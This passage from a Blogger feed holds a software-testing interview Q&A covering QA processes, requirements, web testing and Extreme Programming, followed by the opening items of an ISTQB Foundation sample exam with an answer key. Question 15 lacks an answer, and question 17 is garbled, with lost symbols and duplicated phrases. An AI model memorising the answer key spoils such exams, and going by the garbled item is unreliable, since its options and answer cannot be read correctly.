The specification of tests that are conducted from the end-user perspective. Use cases tend to focus on operating software as an end-user would conduct their day-to-day activities.&lt;br /&gt;
&lt;br /&gt;
19. What is Unit Testing?&lt;br /&gt;
Testing of individual software components.&lt;br /&gt;
&lt;br /&gt;
20. What is Validation?&lt;br /&gt;
The process of evaluating software at the end of the software development process to ensure compliance with software requirements. The techniques for validation is testing, inspection and reviewing.&lt;br /&gt;
&lt;br /&gt;
21. What is Verification?&lt;br /&gt;
The process of determining whether of not the products of a given phase of the software development cycle meet the implementation steps and can be traced to the incoming objectives established during the previous phase. The techniques for verification are testing, inspection and reviewing.&lt;br /&gt;
&lt;br /&gt;
22. What is White Box Testing?&lt;br /&gt;
Testing based on an analysis of internal workings and structure of a piece of software. Includes techniques such as Branch Testing and Path Testing. Also known as Structural Testing and Glass Box Testing. Contrast with Black Box Testing. White box testing is used to test the internal logic of the code for ex checking whether the path has been executed once, checking whether the branches has been executed atleast once .....Used to check the structure of the code.&lt;br /&gt;
&lt;br /&gt;
23. What is Workflow Testing?&lt;br /&gt;
Scripted end-to-end testing which duplicates specific workflows which are expected to be utilized by the end-user.&lt;br /&gt;
&lt;br /&gt;
24. What&#39;s the difference between load and stress testing ?&lt;br /&gt;
One of the most common, but unfortunate misuse of terminology is treating “load testing” and “stress testing” as synonymous. The consequence of this ignorant semantic abuse is usually that the system is neither properly “load tested” nor subjected to a meaningful stress test. Stress testing is subjecting a system to an unreasonable load while denying it the resources (e.g., RAM, disc, mips, interrupts, etc.) needed to process that load. The idea is to stress a system to the breaking point in order to find bugs that will make that break potentially harmful. The system is not expected to process the overload without adequate resources, but to behave (e.g., fail) in a decent manner (e.g., not corrupting or losing data). Bugs and failure modes discovered under stress testing may or may not be repaired depending on the application, the failure mode, consequences, etc. The load (incoming transaction stream) in stress testing is often deliberately distorted so as to force the system into resource depletion. Load testing is subjecting a system to a statistically representative (usually) load. The two main reasons for using such loads is in support of software reliability testing and in performance testing. The term &#39;load testing&#39; by itself is too vague and imprecise to warrant use. For example, do you mean representative load,&#39; &#39;overload,&#39; &#39;high load,&#39; etc. In performance testing, load is varied from a minimum (zero) to the maximum level the system can sustain without running out of resources or having, transactions &gt;suffer (application-specific) excessive delay. A third use of the term is as a test whose objective is to determine the maximum sustainable load the system can handle. In this usage, &#39;load testing&#39; is merely testing at the highest transaction arrival rate in performance testing.&lt;br /&gt;
&lt;br /&gt;
25. What&#39;s the difference between QA and testing?&lt;br /&gt;
QA is more a preventive thing, ensuring quality in the company and therefore the product rather than just testing the product for software bugs? TESTING means &#39;quality control&#39; QUALITY CONTROL measures the quality of a product QUALITY ASSURANCE measures the quality of processes used to create a quality product.&lt;br /&gt;
&lt;br /&gt;
26. What is the best tester to developer ratio?&lt;br /&gt;
Reported tester: developer ratios range from 10:1 to 1:10. There&#39;s no simple answer. It depends on so many things, Amount of reused code, number and type of interfaces, platform, quality goals, etc. It also can depend on the development model. The more specs, the less testers. The roles can play a big part also. Does QA own beta? Do you include process auditors or planning activities? These figures can all vary very widely depending on how you define &#39;tester&#39; and &#39;developer&#39;. In some organizations, a &#39;tester&#39; is anyone who happens to be testing software at the time -- such as their own. In other organizations, a &#39;tester&#39; is only a member of an independent test group. It is better to ask about the test labor content than it is to ask about the tester/developer ratio. The test labor content, across most applications is generally accepted as 50%, when people do honest accounting. For life-critical software, this can go up to 80%.&lt;br /&gt;
&lt;br /&gt;
27. How can new Software QA processes be introduced in an existing organization?&lt;br /&gt;
- A lot depends on the size of the organization and the risks involved. For large organizations with high-risk (in terms of lives or property) projects, serious management buy-in is required and a formalized QA process is necessary. - Where the risk is lower, management and organizational buy-in and QA implementation may be a slower, step-at-a-time process. QA processes should be balanced with productivity so as to keep bureaucracy from getting out of hand. - For small groups or projects, a more ad-hoc process may be appropriate, depending on the type of customers and projects. A lot will depend on team leads or managers, feedback to developers, and ensuring adequate communications among customers, managers, developers, and testers. - In all cases the most value for effort will be in requirements management processes, with a goal of clear, complete, testable requirement specifications or expectations.&lt;br /&gt;
&lt;br /&gt;
28. What are 5 common problems in the software development process?&lt;br /&gt;
1. poor requirements - if requirements are unclear, incomplete, too general, or not testable, there will be problems. 2. unrealistic schedule - if too much work is crammed in too little time, problems are inevitable. 3. inadequate testing - no one will know whether or not the program is any good until the customer complains or systems crash. 4. features - requests to pile on new features after development is underway; extremely common. 5. miscommunication - if developers don&#39;t know what&#39;s needed or customer&#39;s have erroneous expectations, problems are guaranteed.&lt;br /&gt;
&lt;br /&gt;
29. What are 5 common solutions to software development problems?&lt;br /&gt;
1. solid requirements - clear, complete, detailed, cohesive, attainable, testable requirements that are agreed to by all players. Use prototypes to help nail down requirements. 2. realistic schedules - allow adequate time for planning, design, testing, bug fixing, re-testing, changes, and documentation; personnel should be able to complete the project without burning out. 3. adequate testing - start testing early on, re-test after fixes or changes, plan for adequate time for testing and bug-fixing. 4. stick to initial requirements as much as possible - be prepared to defend against changes and additions once development has begun, and be prepared to explain consequences. If changes are necessary, they should be adequately reflected in related schedule changes. If possible, use rapid prototyping during the design phase so that customers can see what to expect. This will provide them a higher comfort level with their requirements decisions and minimize changes later on. 5. communication - require walkthroughs and inspections when appropriate; make extensive use of group communication tools - e-mail, groupware, networked bug-tracking tools and change management tools, intranet capabilities, etc.; insure that documentation is available and up-to-date - preferably electronic, not paper; promote teamwork and cooperation; use prototypes early on so that customers&#39; expectations are clarified.&lt;br /&gt;
&lt;br /&gt;
30. What is &#39;good code&#39;?&lt;br /&gt;
&#39;Good code&#39; is code that works, is bug free, and is readable and maintainable. Some organizations have coding &#39;standards&#39; that all developers are supposed to adhere to, but everyone has different ideas about what&#39;s best, or what is too many or too few rules. There are also various theories and metrics, such as McCabe Complexity metrics. It should be kept in mind that excessive use of standards and rules can stifle productivity and creativity. &#39;Peer reviews&#39;, &#39;buddy checks&#39; code analysis tools, etc. can be used to check for problems and enforce standards. For C and C++ coding, here are some typical ideas to consider in setting rules/standards; these may or may not apply to a particular situation: - minimize or eliminate use of global variables. - use descriptive function and method names - use both upper and lower case, avoid abbreviations, use as many characters as necessary to be adequately descriptive (use of more than 20 characters is not out of line); be consistent in naming conventions. - use descriptive variable names - use both upper and lower case, avoid abbreviations, use as many characters as necessary to be adequately descriptive (use of more than 20 characters is not out of line); be consistent in naming conventions. - function and method sizes should be minimized; less than 100 lines of code is good, less than 50 lines is preferable. - function descriptions should be clearly spelled out in comments preceding a function&#39;s code.- organize code for readability. - use whitespace generously - vertically and horizontally - each line of code should contain 70 characters max. - one code statement per line. - coding style should be consistent throughout a program (eg, use of brackets, indentations, naming conventions, etc.) - in adding comments, err on the side of too many rather than too few comments; a common rule of thumb is that there should be at least as many lines of comments (including header blocks) as lines of code. - no matter how small, an application should include documentation of the overall program function and flow (even a few paragraphs is better than nothing); or if possible a separate flow chart and detailed program documentation. - make extensive use of error handling procedures and status and error logging. - for C++, to minimize complexity and increase maintainability, avoid too many levels of inheritance in class hierarchies (relative to the size and complexity of the application). Minimize use of multiple inheritance, and minimize use of operator overloading (note that the Java programming language eliminates multiple inheritance and operator overloading.) - for C++, keep class methods small, less than 50 lines of code per method is preferable. - for C++, make liberal use of exception handlers&lt;br /&gt;
&lt;br /&gt;
31. What is &#39;good design&#39;?&lt;br /&gt;
&#39;Design&#39; could refer to many things, but often refers to &#39;functional design&#39; or &#39;internal design&#39;. Good internal design is indicated by software code whose overall structure is clear, understandable, easily modifiable, and maintainable; is robust with sufficient error-handling and status logging capability; and works correctly when implemented. Good functional design is indicated by an application whose functionality can be traced back to customer and end-user requirements. For programs that have a user interface, it&#39;s often a good idea to assume that the end user will have little computer knowledge and may not read a user manual or even the on-line help; some common rules-of-thumb include: - the program should act in a way that least surprises the user - it should always be evident to the user what can be done next and how to exit - the program shouldn&#39;t let the users do something stupid without warning them.&lt;br /&gt;
&lt;br /&gt;
32. What makes a good test engineer?&lt;br /&gt;
A good test engineer has a &#39;test to break&#39; attitude, an ability to take the point of view of the customer, a strong desire for quality, and an attention to detail. Tact and diplomacy are useful in maintaining a cooperative relationship with developers, and an ability to communicate with both technical (developers) and non-technical (customers, management) people is useful. Previous software development experience can be helpful as it provides a deeper understanding of the software development process, gives the tester an appreciation for the developers&#39; point of view, and reduce the learning curve in automated test tool programming. Judgment skills are needed to assess high-risk areas of an application on which to focus testing efforts when time is limited.&lt;br /&gt;
&lt;br /&gt;
33. What makes a good Software QA engineer?&lt;br /&gt;
The same qualities a good tester has are useful for a QA engineer. Additionally, they must be able to understand the entire software development process and how it can fit into the business approach and goals of the organization. Communication skills and the ability to understand various sides of issues are important. In organizations in the early stages of implementing QA processes, patience and diplomacy are especially needed. An ability to find problems as well as to see &#39;what&#39;s missing&#39; is important for inspections and reviews.&lt;br /&gt;
&lt;br /&gt;
34. What makes a good QA or Test manager?&lt;br /&gt;
A good QA, test, or QA/Test(combined) manager should: - be familiar with the software development process - be able to maintain enthusiasm of their team and promote a positive atmosphere, despite what is a somewhat &#39;negative&#39; process (e.g., looking for or preventing problems) - be able to promote teamwork to increase productivity - be able to promote cooperation between software, test, and QA engineers - have the diplomatic skills needed to promote improvements in QA processes -have the ability to withstand pressures and say &#39;no&#39; to other managers when quality is insufficient or QA processes are not being adhered to - have people judgement skills for hiring and keeping skilled personnel- be able to communicate with technical and non-technical people, engineers, managers, and customers. - be able to run meetings and keep them focused&lt;br /&gt;
&lt;br /&gt;
35. What&#39;s the role of documentation in QA?&lt;br /&gt;
Critical. (Note that documentation can be electronic, not necessarily paper.) QA practices should be documented such that they are repeatable. Specifications, designs, business rules, inspection reports, configurations, code changes, test plans, test cases, bug reports, user manuals, etc. should all be documented. There should ideally be a system for easily finding and obtaining documents and determining what documentation will have a particular piece of information. Change management for documentation should be used if possible.&lt;br /&gt;
&lt;br /&gt;
36. What&#39;s the big deal about &#39;requirements&#39;?&lt;br /&gt;
One of the most reliable methods of insuring problems, or failure, in a complex software project is to have poorly documented requirements specifications. Requirements are the details describing an application&#39;s externally-perceived functionality and properties. Requirements should be clear, complete, reasonably detailed, cohesive, attainable, and testable. A non-testable requirement would be, for example, &#39;user-friendly&#39; (too subjective). A testable requirement would be something like &#39;the user must enter their previously-assigned password to access the application&#39;. Determining and organizing requirements details in a useful and efficient way can be a difficult effort; different methods are available depending on the particular project. Many books are available that describe various approaches to this task. Care should be taken to involve ALL of a project&#39;s significant &#39;customers&#39; in the requirements process. &#39;Customers&#39; could be in-house personnel or out, and could include end-users, customer acceptance testers, customer contract officers, customer management, future software maintenance engineers, salespeople, etc. Anyone who could later derail the project if their expectations aren&#39;t met should be included if possible. Organizations vary considerably in their handling of requirements specifications. Ideally, the requirements are spelled out in a document with statements such as &#39;The product shall.....&#39;. &#39;Design&#39; specifications should not be confused with &#39;requirements&#39;; design specifications should be traceable back to the requirements. In some organizations requirements may end up in high level project plans, functional specification documents, in design documents, or in other documents at various levels of detail. No matter what they are called, some type of documentation with detailed requirements will be needed by testers in order to properly plan and execute tests. Without such documentation, there will be no clear-cut way to determine if a software application is performing correctly.&lt;br /&gt;
&lt;br /&gt;
37. What steps are needed to develop and run software tests?&lt;br /&gt;
The following are some of the steps to consider: - Obtain requirements, functional design, and internal design specifications and other necessary documents - Obtain budget and schedule requirements - Determine project-related personnel and their responsibilities, reporting requirements, required standards and processes (such as release processes, change processes, etc.) - Identify application&#39;s higher-risk aspects, set priorities, and determine scope and limitations of tests - Determine test approaches and methods - unit, integration, functional, system, load, usability tests, etc. - Determine test environment requirements (hardware, software, communications, etc.) -Determine testware requirements (record/playback tools, coverage analyzers, test tracking, problem/bug tracking, etc.) - Determine test input data requirements - Identify tasks, those responsible for tasks, and labor requirements - Set schedule estimates, timelines, milestones - Determine input equivalence classes, boundary value analyses, error classes - Prepare test plan document and have needed reviews/approvals - Write test cases - Have needed reviews/inspections/approvals of test cases - Prepare test environment and testware, obtain needed user manuals/reference documents/configuration guides/installation guides, set up test tracking processes, set up logging and archiving processes, set up or obtain test input data - Obtain and install software releases - Perform tests - Evaluate and report results - Track problems/bugs and fixes - Retest as needed - Maintain and update test plans, test cases, test environment, and testware through life cycle&lt;br /&gt;
&lt;br /&gt;
38. What is &#39;configuration management&#39;?&lt;br /&gt;
Configuration management covers the processes used to control, coordinate, and track: code, requirements, documentation, problems, change requests, designs, tools/compilers/libraries/patches, changes made to them, and who makes the changes.&lt;br /&gt;
&lt;br /&gt;
39. What if the software is so buggy it can&#39;t really be tested at all?&lt;br /&gt;
The best bet in this situation is for the testers to go through the process of reporting whatever bugs or blocking-type problems initially show up, with the focus being on critical bugs. Since this type of problem can severely affect schedules, and indicates deeper problems in the software development process (such as insufficient unit testing or insufficient integration testing, poor design, improper build or release procedures, etc.) managers should be notified, and provided with some documentation as evidence of the problem.&lt;br /&gt;
&lt;br /&gt;
40. How can it be known when to stop testing?&lt;br /&gt;
This can be difficult to determine. Many modern software applications are so complex, and run in such an interdependent environment, that complete testing can never be done. Common factors in deciding when to stop are: - Deadlines (release deadlines, testing deadlines, etc.)- Test cases completed with certain percentage passed - Test budget depleted - Coverage of code/functionality/requirements reaches a specified point - Bug rate falls below a certain level - Beta or alpha testing period ends&lt;br /&gt;
&lt;br /&gt;
41. What if there isn&#39;t enough time for thorough testing?&lt;br /&gt;
Use risk analysis to determine where testing should be focused. Since it&#39;s rarely possible to test every possible aspect of an application, every possible combination of events, every dependency, or everything that could go wrong, risk analysis is appropriate to most software development projects. This requires judgement skills, common sense, and experience. (If warranted, formal methods are also available.) Considerations can include: - Which functionality is most important to the project&#39;s intended purpose? - Which functionality is most visible to the user? - Which functionality has the largest safety impact? - Which functionality has the largest financial impact on users? - Which aspects of the application are most important to the customer? - Which aspects of the application can be tested early in the development cycle? - Which parts of the code are most complex, and thus most subject to errors? - Which parts of the application were developed in rush or panic mode? - Which aspects of similar/related previous projects caused problems? - Which aspects of similar/related previous projects had large maintenance expenses? - Which parts of the requirements and design are unclear or poorly thought out? - What do the developers think are the highest-risk aspects of the application? - What kinds of problems would cause the worst publicity? - What kinds of problems would cause the most customer service complaints?- What kinds of tests could easily cover multiple functionalities? - Which tests will have the best high-risk-coverage to time-required ratio?&lt;br /&gt;
&lt;br /&gt;
42. What can be done if requirements are changing continuously?&lt;br /&gt;
A common problem and a major headache. - Work with the project&#39;s stakeholders early on to understand how requirements might change so that alternate test plans and strategies can be worked out in advance, if possible. - It&#39;s helpful if the application&#39;s initial design allows for some adaptability so that later changes do not require redoing the application from scratch. - If the code is well-commented and well-documented this makes changes easier for the developers.- Use rapid prototyping whenever possible to help customers feel sure of their requirements and minimize changes. - The project&#39;s initial schedule should allow for some extra time commensurate with the possibility of changes.- Try to move new requirements to a &#39;Phase 2&#39; version of an application, while using the original requirements for the &#39;Phase 1&#39; version. - Negotiate to allow only easily-implemented new requirements into the project, while moving more difficult new requirements into future versions of the application. - Be sure that customers and management understand the scheduling impacts, inherent risks, and costs of significant requirements changes. Then let management or the customers (not the developers or testers) decide if the changes are warranted - after all, that&#39;s their job. - Balance the effort put into setting up automated testing with the expected effort required to re-do them to deal with changes. - Try to design some flexibility into automated test scripts. - Focus initial automated testing on application aspects that are most likely to remain unchanged. - Devote appropriate effort to risk analysis of changes to minimize regression testing needs. - Design some flexibility into test cases (this is not easily done; the best bet might be to minimize the detail in the test cases, or set up only higher-level generic-type test plans) - Focus less on detailed test plans and test cases and more on ad hoc testing (with an understanding of the added risk that this entails).&lt;br /&gt;
&lt;br /&gt;
43. What if the project isn&#39;t big enough to justify extensive testing?&lt;br /&gt;
Consider the impact of project errors, not the size of the project. However, if extensive testing is still not justified, risk analysis is again needed and the same considerations as described previously in &#39;What if there isn&#39;t enough time for thorough testing?&#39; apply. The tester might then do ad hoc testing, or write up a limited test plan based on the risk analysis.&lt;br /&gt;
&lt;br /&gt;
44. What if the application has functionality that wasn&#39;t in the requirements?&lt;br /&gt;
It may take serious effort to determine if an application has significant unexpected or hidden functionality, and it would indicate deeper problems in the software development process. If the functionality isn&#39;t necessary to the purpose of the application, it should be removed, as it may have unknown impacts or dependencies that were not taken into account by the designer or the customer. If not removed, design information will be needed to determine added testing needs or regression testing needs. Management should be made aware of any significant added risks as a result of the unexpected functionality. If the functionality only effects areas such as minor improvements in the user interface, for example, it may not be a significant risk.&lt;br /&gt;
&lt;br /&gt;
45. How can Software QA processes be implemented without stifling productivity?&lt;br /&gt;
By implementing QA processes slowly over time, using consensus to reach agreement on processes, and adjusting and experimenting as an organization grows and matures, productivity will be improved instead of stifled. Problem prevention will lessen the need for problem detection, panics and burn-out will decrease, and there will be improved focus and less wasted effort. At the same time, attempts should be made to keep processes simple and efficient, minimize paperwork, promote computer-based processes and automated tracking and reporting, minimize time required in meetings, and promote training as part of the QA process. However, no one - especially talented technical types - likes rules or bureaucracy, and in the short run things may slow down a bit. A typical scenario would be that more days of planning and development will be needed, but less time will be required for late-night bug-fixing and calming of irate customers.&lt;br /&gt;
&lt;br /&gt;
46. What if an organization is growing so fast that fixed QA processes are impossible?&lt;br /&gt;
This is a common problem in the software industry, especially in new technology areas. There is no easy solution in this situation, other than: - Hire good people - Management should &#39;ruthlessly prioritize&#39; quality issues and maintain focus on the customer - Everyone in the organization should be clear on what &#39;quality&#39; means to the customer&lt;br /&gt;
&lt;br /&gt;
47. How does a client/server environment affect testing?&lt;br /&gt;
Client/server applications can be quite complex due to the multiple dependencies among clients, data communications, hardware, and servers. Thus testing requirements can be extensive. When time is limited (as it usually is) the focus should be on integration and system testing. Additionally, load/stress/performance testing may be useful in determining client/server application limitations and capabilities. There are commercial tools to assist with such testing.&lt;br /&gt;
&lt;br /&gt;
48.How can World Wide Web sites be tested?&lt;br /&gt;
Web sites are essentially client/server applications - with web servers and &#39;browser&#39; clients. Consideration should be given to the interactions between html pages, TCP/IP communications, Internet connections, firewalls, applications that run in web pages (such as applets, javascript, plug-in applications), and applications that run on the server side (such as cgi scripts, database interfaces, logging applications, dynamic page generators, asp, etc.). Additionally, there are a wide variety of servers and browsers, various versions of each, small but sometimes significant differences between them, variations in connection speeds, rapidly changing technologies, and multiple standards and protocols. The end result is that testing for web sites can become a major ongoing effort. Other considerations might include: - What are the expected loads on the server (e.g., number of hits per unit time?), and what kind of performance is required under such loads (such as web server response time, database query response times). What kinds of tools will be needed for performance testing (such as web load testing tools, other tools already in house that can be adapted, web robot downloading tools, etc.)? - Who is the target audience? What kind of browsers will they be using? What kind of connection speeds will they by using? Are they intra- organization (thus with likely high connection speeds and similar browsers) or Internet-wide (thus with a wide variety of connection speeds and browser types)? - What kind of performance is expected on the client side (e.g., how fast should pages appear, how fast should animations, applets, etc. load and run)? - Will down time for server and content maintenance/upgrades be allowed? how much? - What kinds of security (firewalls, encryptions, passwords, etc.) will be required and what is it expected to do? How can it be tested? - How reliable are the site&#39;s Internet connections required to be? And how does that affect backup system or redundant connection requirements and testing? - What processes will be required to manage updates to the web site&#39;s content, and what are the requirements for maintaining, tracking, and controlling page content, graphics, links, etc.? - Which HTML specification will be adhered to? How strictly? What variations will be allowed for targeted browsers? - Will there be any standards or requirements for page appearance and/or graphics throughout a site or parts of a site?? - How will internal and external links be validated and updated? how often? - Can testing be done on the production system, or will a separate test system be required? How are browser caching, variations in browser option settings, dial-up connection variabilities, and real-world internet &#39;traffic congestion&#39; problems to be accounted for in testing?- How extensive or customized are the server logging and reporting requirements; are they considered an integral part of the system and do they require testing?- How are cgi programs, applets, javascripts, ActiveX components, etc. to be maintained, tracked, controlled, and tested? - Pages should be 3-5 screens max unless content is tightly focused on a single topic. If larger, provide internal links within the page. - The page layouts and design elements should be consistent throughout a site, so that it&#39;s clear to the user that they&#39;re still within a site. - Pages should be as browser-independent as possible, or pages should be provided or generated based on the browser-type. - All pages should have links external to the page; there should be no dead-end pages. - The page owner, revision date, and a link to a contact person or organization should be included on each page.&lt;br /&gt;
&lt;br /&gt;
49. How is testing affected by object-oriented designs?&lt;br /&gt;
Well-engineered object-oriented design can make it easier to trace from code to internal design to functional design to requirements. While there will be little affect on black box testing (where an understanding of the internal design of the application is unnecessary), white-box testing can be oriented to the application&#39;s objects. If the application was well-designed this can simplify test design.&lt;br /&gt;
&lt;br /&gt;
50. What is Extreme Programming and what&#39;s it got to do with testing?&lt;br /&gt;
Extreme Programming (XP) is a software development approach for small teams on risk-prone projects with unstable requirements. It was created by Kent Beck who described the approach in his book &#39;Extreme Programming Explained&#39;. Testing (&#39;extreme testing&#39;) is a core aspect of Extreme Programming. Programmers are expected to write unit and functional test code first - before the application is developed. Test code is under source control along with the rest of the code. Customers are expected to be an integral part of the project team and to help develop scenarios for acceptance/black box testing. Acceptance tests are preferably automated, and are modified and rerun for each of the frequent development iterations. QA and test personnel are also required to be an integral part of the project team. Detailed requirements documentation is not used, and frequent re-scheduling, re-estimating, and re-prioritizing is expected.</content><link rel='replies' type='application/atom+xml' href='http://soft-engineering.blogspot.com/feeds/583127344459089755/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://soft-engineering.blogspot.com/2012/01/interview-software-testing.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/583127344459089755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3175749124849961665/posts/default/583127344459089755'/><link rel='alternate' type='text/html' href='http://soft-engineering.blogspot.com/2012/01/interview-software-testing.html' title='Interview Software Testing'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3175749124849961665.post-3368659990183928570</id><published>2011-12-27T02:00:00.001-08:00</published><updated>2011-12-27T02:00:33.662-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ISTQB Question Paper Dump"/><title type='text'>ISTQB ISEB Foundation Level Sample Paper</title><content type='html'>1. Which of the following are the typical defects found by static analysis tools? &lt;br /&gt;
a. Variables that are never used. &lt;br /&gt;
b. Security vulnerabilities. &lt;br /&gt;
c. Poor performance. &lt;br /&gt;
d. Unreachable code. &lt;br /&gt;
e. Business processes not followed. &lt;br /&gt;
A. b, c and d are true; a and e are false &lt;br /&gt;
B. a is true; b, c, d and e are false &lt;br /&gt;
C. c, d and e are true; a and b are false &lt;br /&gt;
D. a, b and d are true; c and e are false &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Which of the following are characteristics of good testing in any life cycle model? &lt;br /&gt;
a. Every development activity has a corresponding test activity. &lt;br /&gt;
b. Testers review development documents early. &lt;br /&gt;
c. There are separate levels for component and system integration test. &lt;br /&gt;
d. Each test level has objectives specific to that level. &lt;br /&gt;
e. Each test level is based on the same test basis. &lt;br /&gt;
A. a, d and e &lt;br /&gt;
B. b, c and e &lt;br /&gt;
C. a, c and d &lt;br /&gt;
D. a, b and d &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Which of the following statements are true in relation to component testing? &lt;br /&gt;
a. Stubs may be used. &lt;br /&gt;
b. May cover resource behaviour (e.g. memory leaks). &lt;br /&gt;
c. Tests the interactions between software components. &lt;br /&gt;
d. Defects are typically fixed without formally managing these defects. &lt;br /&gt;
A. a, c and d &lt;br /&gt;
B. a, b and d &lt;br /&gt;
C. b, c and d &lt;br /&gt;
D. a, b and c &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. A system specification states that a particular field should accept alphabetical characters in either upper or lower case. Which of the following test cases is from an INVALID equivalence partition? &lt;br /&gt;
A. Feeds &lt;br /&gt;
B. F33ds &lt;br /&gt;
C. FEEDS  &lt;br /&gt;
D. fEEDs &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Which of the following statements is GENERALLY true of testing? &lt;br /&gt;
a. Testing can show the presence of defects. &lt;br /&gt;
b. Testing reduces the probability of uncovered defects. &lt;br /&gt;
c. Testing can show that a previously present defect has been removed. &lt;br /&gt;
d. Testing can prove that software is defect free. &lt;br /&gt;
A. a, b and c &lt;br /&gt;
B. a, b and d &lt;br /&gt;
C. a, c and d &lt;br /&gt;
D. b, c and d &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6. Which ADDITIONAL test level could be introduced into a standard V-model after system testing? &lt;br /&gt;
A. System Integration Testing &lt;br /&gt;
B. Acceptance Testing &lt;br /&gt;
C. Regression Testing &lt;br /&gt;
D. Component Integration Testing &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
7. Which statement BEST describes the role of testing? &lt;br /&gt;
A. Testing ensures that the right version of code is delivered &lt;br /&gt;
B. Testing can be used to assess quality. &lt;br /&gt;
C. Testing shows that the software is error free. &lt;br /&gt;
D. Testing improves quality in itself. &lt;br /&gt;
Answer: B &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Which tasks would USUALLY be performed by a test leader and which by the tester? &lt;br /&gt;
a. Adapt planning based on test results. &lt;br /&gt;
b. Create test specifications. &lt;br /&gt;
c. Plan tests. &lt;br /&gt;
d. Write or review a test strategy &lt;br /&gt;
A. c and d by the test leader; a and b by the tester &lt;br /&gt;
B. a and b by the test leader; c and d by the tester. &lt;br /&gt;
C. a and d by the test leader; b and c by the tester &lt;br /&gt;
D. a, c and d by the test leader; b by the tester. &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
9. When in the lifecycle should testing activities start? &lt;br /&gt;
A. As early as possible &lt;br /&gt;
B. After the test environment is ready &lt;br /&gt;
C. After the requirements have been reviewed  &lt;br /&gt;
D. Once the code is available to test &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10. Which one of the following is a characteristic of good testing in any lifecycle model? &lt;br /&gt;
A. Each test level has the same test objective. &lt;br /&gt;
B. There should be more testing activities than development activities. &lt;br /&gt;
C. Test design can only begin when development is complete. &lt;br /&gt;
D. Testers should begin to review documents as soon as drafts are available. &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11. During which activity of the Fundamental Test Process do you review the test basis? &lt;br /&gt;
A. Evaluating exit criteria and reporting. &lt;br /&gt;
B. Test implementation and execution &lt;br /&gt;
C. Test analysis and design &lt;br /&gt;
D. Test planning and control &lt;br /&gt;
Answer: C &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
12. Which one of the following statements about approaches to test estimation is true? &lt;br /&gt;
A. A metrics-based approach is based on data gathered from previous projects; an expert-based approach uses the knowledge of the owner of the tasks or experts &lt;br /&gt;
B. A metrics-based approach is based on creating a work-breakdown structure first; an expert-based approach is based on input from estimation experts &lt;br /&gt;
C. A metrics-based approach is based on data gathered from previous projects; an expert-based approach is based on a work-breakdown structure &lt;br /&gt;
D. A metrics-based approach is based on an analysis of the specification documents; an expert-based approach is based on the opinion of the most experienced tester in the organization &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
13. Which ordering of the list below gives increasing levels of test independence? &lt;br /&gt;
a. Tests designed by a fellow-member of the design team. &lt;br /&gt;
b. Tests designed by a different group within the organization. &lt;br /&gt;
c. Tests designed by the code author. &lt;br /&gt;
d. Tests designed by different organization. &lt;br /&gt;
A. c, a, b, d. &lt;br /&gt;
B. d, b, a, c &lt;br /&gt;
C. c, a, d, b. &lt;br /&gt;
D. a, c, d, b. &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
14. Which of the following are structure-based techniques? &lt;br /&gt;
a. Decision table testing &lt;br /&gt;
b. Boundary value analysis &lt;br /&gt;
c. Multiple condition coverage &lt;br /&gt;
d. Use case testing &lt;br /&gt;
e. Decision testing  &lt;br /&gt;
A. a and c. &lt;br /&gt;
B. b and d. &lt;br /&gt;
C. b and e. &lt;br /&gt;
D. c and e. &lt;br /&gt;
Answer: D &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
15. Pair the correct test design techniques (i to v) with the category of techniques (x, y and z): &lt;br /&gt;
i) Exploratory Testing &lt;br /&gt;
ii) Equivalence Partitioning &lt;br /&gt;
iii) Decision Testing &lt;br /&gt;
iv) Use Case Testing &lt;br /&gt;
v) Condition coverage &lt;br /&gt;
x) Specification-based &lt;br /&gt;
y) Structure-based &lt;br /&gt;
z) Experienced-based &lt;br /&gt;
A. x = i and ii; y = iii and v; z = iv. &lt;br /&gt;
B. x = i, ii and iv; y = v; z = iii &lt;br /&gt;
C. x = ii and iv; y = iii and v; z = i. &lt;br /&gt;
D. x = iii and iv; y = v; z = i and ii. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
16. Which of the following is a MAJOR task of evaluating exit criteria and reporting? &lt;br /&gt;
A. Writing a test summary report for stakeholders &lt;br /&gt;
B. Logging the outcome of test execution &lt;br /&gt;
C. Repeating test activities as a result of action taken for each discrepancy. &lt;br /&gt;
D. Evaluating testability of the requirements and system &lt;br /&gt;
Answer: A &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
17. The digital ainbow Thermometer uses 7 colours to show the ambient temperature. Each colour spans a range of just 5, with an operating minimum and maximum of minus 5 and 30. Which of the following values is minimum and maximum of minus 5? and 30?. Which of the following values is LEAST likely to have been identified when applying the boundary value test design technique? &lt;br /&gt;
A. 3030? &lt;br /&gt;
B. 00? &lt;br /&gt;
C. 8?8 &lt;br /&gt;
D. 15 15? &lt;br /&gt;
Answer: C &lt;br /&gt;
&lt;br /&gt;
